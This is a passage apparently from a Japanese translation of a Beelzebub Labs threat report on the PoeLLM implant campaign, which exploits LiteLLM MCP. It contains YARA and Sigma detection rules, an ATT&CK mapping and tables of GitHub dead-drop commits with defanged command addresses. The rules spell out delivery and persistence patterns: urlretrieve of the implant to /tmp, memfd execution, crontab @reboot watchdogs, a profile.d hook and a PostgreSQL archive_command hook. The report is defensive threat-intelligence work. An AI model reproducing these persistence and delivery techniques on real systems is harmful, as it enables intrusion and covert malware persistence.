$relay = ":1458/get?url=https://raw.githubusercontent.com/" xor(0x5a)
$raw = "https://raw.githubusercontent.com/" xor(0x5a)
condition:
uint32(0) == 0x464c457f and filesize < 5MB and $relay and #raw >= 3
}
rule PoeLLM_Delivery_Loader_Python
{
meta:
description = "PoeLLM delivery loader in LiteLLM MCP test bodies, logs or scripts: Python downloader for the /private/manager implant (July wget form and August urlretrieve form). Decode Base64 wrappers before scanning."
family = "PoeLLM.Loader"
scope = "text artifacts: request bodies, proxy logs, process-argument dumps, scripts"
date = "2026-10-13"
strings:
$path1 = "/private/manager" ascii
$path2 = ":81/private/" ascii
$arch1 = "manager-amd64" ascii
$arch2 = "manager-arm64" ascii
$dl1 = "urlretrieve" ascii
$dl2 = "wget -q" ascii
$c1 = "start_new_session=True" ascii
$c2 = "llrig-" ascii
$c3 = "system-monitor" ascii
$c4 = "memfd_create" ascii
$c5 = "\"--id\"" ascii
$c6 = "'--id'" ascii
condition:
filesize < 2MB and
( $path1 or ($path2 and 1 of ($arch*)) ) and
1 of ($dl*) and 1 of ($c*)
}
Sigma(6ルール)
title: Python One-Liner Download Or Launch Of /private/manager Implant
id: 3cf0b2ba-60fc-5669-a237-4f19718a9392
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Delivery loader spawned through LiteLLM MCP stdio test-connection (CVE-2026-42271): urlretrieve of /private/manager[-arch] to /tmp/.<pid>, then a detached launch with --id llrig-<n>. Later loaders fall back to /dev/shm/.<pid> and then to an anonymous memfd, so the process image may be /memfd:x (deleted).'
tags:
- attack.execution
- attack.t1059.006
- attack.initial-access
- attack.t1190
- cve.2026-42271
logsource:
category: process_creation
product: linux
detection:
selection_dl:
CommandLine|contains|all:
- urlretrieve
- /private/manager
selection_exec:
Image|startswith:
- /tmp/.
- /dev/shm/.
- '/memfd:'
CommandLine|contains: --id llrig-
condition: 1 of selection_*
falsepositives:
- Not measured
level: critical
---
title: PoeLLM Sentinel Lock And Marker Files
id: 5d10d196-c256-5e65-a913-3cfcbff165e2
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel single-instance lock, per-instance exec marker and hidden install/lock names.
tags:
- attack.persistence
- attack.defense-evasion
- attack.t1564.001
logsource:
category: file_event
product: linux
detection:
selection_exact:
TargetFilename|endswith:
- /.snt.lck
- /.snt_upd
selection_prefix:
TargetFilename|startswith: /tmp/.snt_x_
selection_re:
TargetFilename|re: /\.i2c_(lk_)?[0-9a-f]{8}$
condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Sentinel Crontab Reboot And Five-Minute Pgrep Watchdog
id: f7662fba-4529-52c9-aca7-fd1ba31dee93
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel rewrites the user crontab with an @reboot entry and a */5 pgrep -f self-resurrection entry, both passing --no-kill.
tags:
- attack.persistence
- attack.t1053.003
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains|all:
- crontab -
- '@reboot'
- \*/5 \* \* \* \* pgrep -f
- --no-kill
condition: selection
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge State Files
id: 785bf9fd-33e2-56d4-a83c-735a3df17730
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge dead-drop result cache (bridge_srv_ip_<id>), client registry and transfer/update temp files.
tags:
- attack.persistence
- attack.t1564.001
logsource:
category: file_event
product: linux
detection:
selection_name:
TargetFilename|contains: /bridge_srv_ip_
selection_root:
TargetFilename|startswith:
- /tmp/.bce_
- /tmp/bridge_clients
- /tmp/bridge_file_
- /tmp/client_update_
- /tmp/client_reboot_
- /var/tmp/.X11-unix-cache/
condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge Profile.d Hook dbus-mgr.sh
id: dd93345b-d88b-5f06-bc93-6e2b62642275
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge drops /etc/profile.d/dbus-mgr.sh as a login-shell relaunch hook (PostgreSQL persistence tier).
tags:
- attack.persistence
- attack.t1546.004
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename: /etc/profile.d/dbus-mgr.sh
condition: selection
falsepositives:
- Not measured
level: high
---
title: PostgreSQL archive_command Set From Shell
id: 1c8223da-b62e-5949-a617-d0b3334cd022
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Bridge PERSIST_PG installs an archive_command hook so PostgreSQL itself relaunches the implant. Generic: flags shell-side changes to archive_command.'
tags:
- attack.persistence
- attack.t1546
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains: archive_command
selection_op:
CommandLine|contains:
- ALTER SYSTEM
- postgresql.auto.conf
- postgresql.conf
- pg_reload_conf
- -c archive_command
condition: selection and selection_op
falsepositives:
- DBA changes to WAL archiving; baseline your backup tooling (pgBackRest, wal-g, barman)
level: medium
ATT&CKマッピング
配信とOllama段階の項目は、私たちのハニーポットに送られたリクエストを示しています。インプラントの項目は、静的に解析したコードを示しています。いずれも、コードが被害者のマシンで実行されたことを立証するものではありません。
| テクニック | 名称 | 根拠 |
|---|---|---|
| T1190 | Exploit Public-Facing Application | /mcp-rest/test/connectionへのCVE-2026-42271配信リクエスト |
| T1595 | Active Scanning | axios/1.14.0による/v1/modelsと/openapi.jsonの探索 |
| T1105 | Ingress Tool Transfer | TCP/81での/private/manager-*のステージング。:9882レジストリを指定するOllamaのプルリクエスト |
| T1102.001 | Web Service: Dead Drop Resolver | GitHubフォーク内の詩からデコードされたコマンドアドレス |
| T1036.005 | Masquerading: Match Legitimate Resource Name or Location | Sentinelは/usr/libexecのavahi-daemonなど実在のデーモン名でインストールされる |
| T1573.001 | Encrypted Channel: Symmetric Cryptography | SentinelのTCP/5002上のRC4コマンドチャネル |
| T1090 | Proxy | SentinelのTCP/1458上の5つの取得リレー |
| T1543.002 | Create or Modify System Process: Systemd Service | systemctl stopを無視するSentinelのユニット。Bridgeのシステム/ユーザーユニット |
| T1053.003 | Scheduled Task/Job: Cron | 5分間隔の再起動ウォッチドッグ |
| T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | /etc/profile.dフック |
| T1222.002 | File and Directory Permissions Modification: Linux and Mac Permissions | インプラントに対するchattr +i |
| T1496 | Resource Hijacking | libgcryptコンポーネントによるKryptexマイニング(第三者のサンドボックスレポートに基づく) |
デッドドロップのアーカイブ
各コミットはhttps://github.com/<parent>/commit/<sha>で閲覧できます。「verse」は第1世代、「stanza」は第3世代です。22行目の「tombstone」は、詩を1つのピリオドに置き換え、チャネルを4分間アドレスのない状態にしました。アドレスは無害化(defang)しています。
全コミット(48件)
| # | 公開日時(UTC) | チャネル(親リポジトリ) | コミット | エンコード | アドレス |
|---|---|---|---|---|---|
| 1 | 2025-12-09 22:15:46 | discordjs/discord.js |
f46849089e591f848f4964f86d6d347213e90462 |
verse | 194.69.203[.]32 |
| 2 | 2025-12-12 13:41:20 | discordjs/discord.js |
8912a49732122da989a91d271f3d8bdaafba4e19 |
verse | 5.16.162[.]140 |
| 3 | 2025-12-16 16:26:01 | discordjs/discord.js |
876f192471d8bf7ea46821327b2519fe7b3b8de3 |
verse | 196.189.96[.]138 |
| 4 | 2025-12-17 09:25:54 | discordjs/discord.js |
45f517fd720d4fe98e19e7a614ab54a9e8f902d2 |
verse | 156.248.148[.]165 |
| 5 | 2026-01-29 19:25:20 | discordjs/discord.js |
909aac6e0df0f0fb717f89ae784a31135e6d8683 |
verse | 168.195.32[.]178 |
| 6 | 2026-02-03 23:28:54 | discordjs/discord.js |
0f03bcf29576f6eaadceab79d1c1aac276762129 |
verse | 196.191.196[.]21 |
| 7 | 2026-02-06 15:03:32 | discordjs/discord.js |
991b492372f2013d5a06d7c479a694e12496c962 |
verse | 85.122.148[.]79 |
| 8 | 2026-02-09 19:53:34 | discordjs/discord.js |
8031758d1b5a4875101e4c21971e1bd8156e82f2 |
verse | 38.50.43[.]231 |
| 9 | 2026-02-11 15:28:33 | discordjs/discord.js |
32bf8682efd5f380b8c9a18a5a3ad4e84ae4fc77 |
verse | 193.169.110[.]24 |
| 10 | 2026-02-11 22:35:15 | discordjs/discord.js |
f695077abb7c4c335adf397553f9a9b0e4da1f69 |
verse | 103.183.29[.]150 |
| 11 | 2026-02-13 21:19:37 | discordjs/discord.js |
0cbc53be2974aa5364c9e528a3febbf28a676b25 |
verse | 191.37.28[.]163 |
| 12 | 2026-02-19 00:14:43 | discordjs/discord.js |
498c21723dc6e5a81ae78a49f59a5afa295e202c |
verse | 5.3.105[.]70 |
| 13 | 2026-02-20 01:00:05 | discordjs/discord.js |
58b43f12b223fc724cba4fb6806137838933a030 |
verse | 170.239.113[.]167 |
| 14 | 2026-02-20 09:22:32 | discordjs/discord.js |
d71d077f2d1a8c2acfad313942d53070d77957dd |
verse | 190.102.127[.]44 |
| 15 | 2026-02-26 10:41:17 | discordjs/discord.js |
2d190b00726bab50e448208ddd8d23282c989248 |
verse | 185.244.111[.]240 |
| 16 | 2026-02-26 14:29:48 | discordjs/discord.js |
03ce640b6ea4abe24712e190ad4c22fbfda58226 |
verse | 86.106.86[.]25 |
| 17 | 2026-02-27 09:38:02 | discordjs/discord.js |
2ce709e9c9043e523a73c1fb29ce8070618078bb |
verse | 116.129.7[.]63 |
| 18 | 2026-03-01 10:13:37 | discordjs/discord.js |
ac0c7ad3ac7af4f80330e39f7794e8e5fbfab3b9 |
verse | 45.225.187[.]6 |
| 19 | 2026-03-05 14:30:17 | discordjs/discord.js |
7e2b2c924386b4b03c8139f841819c0ef636f8f5 |
verse | 185.244.111[.]240 |
| 20 | 2026-03-07 10:30:03 | discordjs/discord.js |
30bba9eba659f723bdbaf94b01b80299f060fc2b |
verse | 45.225.187[.]6 |
| 21 | 2026-03-07 11:09:59 | wszqkzqk/deepin-wine-ubuntu |
88188feae97dd64ccb6a4041e822f6944c586075 |
verse | 170.239.113[.]167 |
| 22 | 2026-03-07 16:13:51 | discordjs/discord.js |
e23d8298dfb175a8402b9678b1e1843bdafd214f |
tombstone | none |
| 23 | 2026-03-07 16:17:49 | discordjs/discord.js |
b862d702e98fffb510a74ca78ca29b7ab68fb7f0 |
verse | 185.244.111[.]76 |
| 24 | 2026-03-09 20:14:15 | wszqkzqk/deepin-wine-ubuntu |
0ec0fedc57a0c6aebaa5f6ab5620debbafda1fd3 |
verse | 45.225.187[.]6 |
| 25 | 2026-03-12 20:40:27 | discordjs/discord.js |
57bf3b263571736626e0e06f9581d743faeb3f60 |
verse | 170.239.113[.]167 |
| 26 | 2026-03-12 23:40:18 | getumbrel/umbrel |
b7ded93724b888c8681a057a6d2d7177cf399f5c |
verse | 82.23.183[.]155 |
| 27 | 2026-04-13 10:56:39 | discordjs/discord.js |
f7b8db9538c2c9c6c9ee507b19182828584d88b4 |
verse | 86.107.25[.]210 |
| 28 | 2026-04-20 13:17:51 | discordjs/discord.js |
bd4174fa1d5a163d4df99efbd3f75656aee0661c |
verse | 196.189.198[.]106 |
| 29 | 2026-04-20 17:26:25 | discordjs/discord.js |
5d2e5a46de9c4c1f4f5b9298ce6c9fd0b88d3335 |
verse | 86.107.25[.]210 |
| 30 | 2026-04-21 19:28:37 | getumbrel/umbrel |
d498f3453bd79beef27a39eb5016606eaf3613b6 |
verse | 101.47.160[.]163 |
| 31 | 2026-04-22 09:49:55 | wszqkzqk/deepin-wine-ubuntu |
5c4aa7cc99d7439b23d5d9134b2fbc76407d189e |
verse | 82.23.183[.]155 |
| 32 | 2026-05-01 11:07:26 | discordjs/discord.js |
70107829e48277dcec5baebced25fb1fb8094753 |
verse | 196.190.193[.]65 |
| 33 | 2026-05-07 10:38:35 | wszqkzqk/deepin-wine-ubuntu |
08968077d27ee22674b260308a6e13f8a033dff8 |
verse | 120.224.114[.]212 |
| 34 | 2026-05-08 10:33:00 | discordjs/discord.js |
d126bf8dfeee330d46fbe872155f4c0672450294 |
verse | 120.224.114[.]212 |
| 35 | 2026-05-28 19:44:47 | wszqkzqk/deepin-wine-ubuntu |
01ce352024b5b93f112aaf735fdbd323dca863a5 |
verse | 86.106.79[.]201 |
| 36 | 2026-06-08 06:32:22 | getumbrel/umbrel |
dc0e68fac405f7d19acd2ed51c046a0d8d2666e8 |
verse | 5.78.73[.]122 |
| 37 | 2026-06-08 11:16:40 | wszqkzqk/deepin-wine-ubuntu |
24898af14d0f96c558dd3859d1751923b249dd35 |
verse | 45.76.89[.]4 |
| 38 | 2026-06-14 11:53:56 | wszqkzqk/deepin-wine-ubuntu |
2d47487a87edc3e3f322381251cc7b7f13a6a85e |
verse | 15.204.178[.]28 |
| 39 | 2026-06-16 18:58:27 | wszqkzqk/deepin-wine-ubuntu |
a468b229d4dc95cfa93f753e7e00684959f1165d |
verse | 159.203.130[.]73 |
| 40 | 2026-06-16 19:36:30 | getumbrel/umbrel |
953e4f3c1b6dd71e76a29f38c0c56f1e1a71f202 |
stanza | 178.128.14[.]204 |
| 41 | 2026-06-17 20:18:04 | wszqkzqk/deepin-wine-ubuntu |
fa7ff561b87af4894288c77c04b771aed63684e5 |
verse | 217.76.63[.]67 |
| 42 | 2026-06-18 21:02:02 | wszqkzqk/deepin-wine-ubuntu |
6999eb7c36459624b9fddff6090a1de7f5b7cd55 |
stanza | 217.76.63[.]67 |
| 43 | 2026-07-22 21:54:21 | discordjs/discord.js |
9e45bd5f586600df9d8e8be19bdf1577f94a8e8c |
stanza | 205.209.126[.]135 |
| 44 | 2026-07-29 22:29:11 | getumbrel/umbrel |
4812dcebd9865b1db6bda0bb1c5ffd03f820a5a5 |
stanza | 155.94.155[.]111 |
| 45 | 2026-08-19 19:43:24 | getumbrel/umbrel |
564a497c697b29d772f004005878dd1867eefc89 |
stanza | 103.249.201[.]108 |
| 46 | 2026-08-19 19:45:59 | wszqkzqk/deepin-wine-ubuntu |
51d06a59637eabe3e75a39cdc9d7acf259a459df |
stanza | 165.245.138[.]247 |
| 47 | 2026-08-27 13:38:45 | wszqkzqk/deepin-wine-ubuntu |
395fb5b5cb324238903fdcfdf53cdd4705270ea3 |
stanza | 104.36.85[.]28 |
| 48 | 2026-08-27 13:44:16 | discordjs/discord.js |
c754c07d3a5154b959f1799588a3b1a904c29a34 |
stanza | 217.76.63[.]67 |
ユニークなアドレス(37個)
| アドレス | 初公開 | 最終公開 | コミット数 | エンコード | チャネル | 公表済み |
|---|---|---|---|---|---|---|
194.69.203[.]32 |
2025-12-09 | 2025-12-09 | 1 | verse | discord.js | |
5.16.162[.]140 |
2025-12-12 | 2025-12-12 | 1 | verse | discord.js | |
196.189.96[.]138 |
2025-12-16 | 2025-12-16 | 1 | verse | discord.js | |
156.248.148[.]165 |
2025-12-17 | 2025-12-17 | 1 | verse | discord.js | |
168.195.32[.]178 |
2026-01-29 | 2026-01-29 | 1 | verse | discord.js | |
196.191.196[.]21 |
2026-02-03 | 2026-02-03 | 1 | verse | discord.js | |
85.122.148[.]79 |
2026-02-06 | 2026-02-06 | 1 | verse | discord.js | |
38.50.43[.]231 |
2026-02-09 | 2026-02-09 | 1 | verse | discord.js | |
193.169.110[.]24 |
2026-02-11 | 2026-02-11 | 1 | verse | discord.js | |
103.183.29[.]150 |
2026-02-11 | 2026-02-11 | 1 | verse | discord.js | |
191.37.28[.]163 |
2026-02-13 | 2026-02-13 | 1 | verse | discord.js | |
5.3.105[.]70 |
2026-02-19 | 2026-02-19 | 1 | verse | discord.js | |
170.239.113[.]167 |
2026-02-20 | 2026-03-12 | 3 | verse | deepin-wine-ubuntu, discord.js | |
190.102.127[.]44 |
2026-02-20 | 2026-02-20 | 1 | verse | discord.js | |
185.244.111[.]240 |
2026-02-26 | 2026-03-05 | 2 | verse | discord.js | |
86.106.86[.]25 |
2026-02-26 | 2026-02-26 | 1 | verse | discord.js | |
116.129.7[.]63 |
2026-02-27 | 2026-02-27 | 1 | verse | discord.js | |
45.225.187[.]6 |
2026-03-01 | 2026-03-09 | 3 | verse | deepin-wine-ubuntu, discord.js | |
185.244.111[.]76 |
2026-03-07 | 2026-03-07 | 1 | verse | discord.js | |
82.23.183[.]155 |
2026-03-12 | 2026-04-22 | 2 | verse | deepin-wine-ubuntu, umbrel | |
86.107.25[.]210 |
2026-04-13 | 2026-04-20 | 2 | verse | discord.js | |
196.189.198[.]106 |
2026-04-20 | 2026-04-20 | 1 | verse | discord.js | |
101.47.160[.]163 |
2026-04-21 | 2026-04-21 | 1 | verse | umbrel | |
196.190.193[.]65 |
2026-05-01 | 2026-05-01 | 1 | verse | discord.js | |
120.224.114[.]212 |
2026-05-07 | 2026-05-08 | 2 | verse | deepin-wine-ubuntu, discord.js | yes |
86.106.79[.]201 |
2026-05-28 | 2026-05-28 | 1 | verse | deepin-wine-ubuntu | |
5.78.73[.]122 |
2026-06-08 | 2026-06-08 | 1 | verse | umbrel | yes |
45.76.89[.]4 |
2026-06-08 | 2026-06-08 | 1 | verse | deepin-wine-ubuntu | |
15.204.178[.]28 |
2026-06-14 | 2026-06-14 | 1 | verse | deepin-wine-ubuntu | yes |
159.203.130[.]73 |
2026-06-16 | 2026-06-16 | 1 | verse | deepin-wine-ubuntu | |
178.128.14[.]204 |
2026-06-16 | 2026-06-16 | 1 | stanza | umbrel | yes |
217.76.63[.]67 |
2026-06-17 | 2026-08-27 | 3 | stanza/verse | deepin-wine-ubuntu, discord.js | |
205.209.126[.]135 |
2026-07-22 | 2026-07-22 | 1 | stanza | discord.js | |
155.94.155[.]111 |
2026-07-29 | 2026-07-29 | 1 | stanza | umbrel | |
103.249.201[.]108 |
2026-08-19 | 2026-08-19 | 1 | stanza | umbrel | yes |
165.245.138[.]247 |
2026-08-19 | 2026-08-19 | 1 | stanza | deepin-wine-ubuntu | |
104.36.85[.]28 |
2026-08-27 | 2026-08-27 | 1 | stanza | deepin-wine-ubuntu |
オープンソースのBeelzebubデセプションフレームワークをご覧いただくか、Beelzebub.aiのデモを申し込むこともできます。
Beelzebubチームは、インターネットをより良く、より安全な場所にするために尽力しています。❤️
翻訳元: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/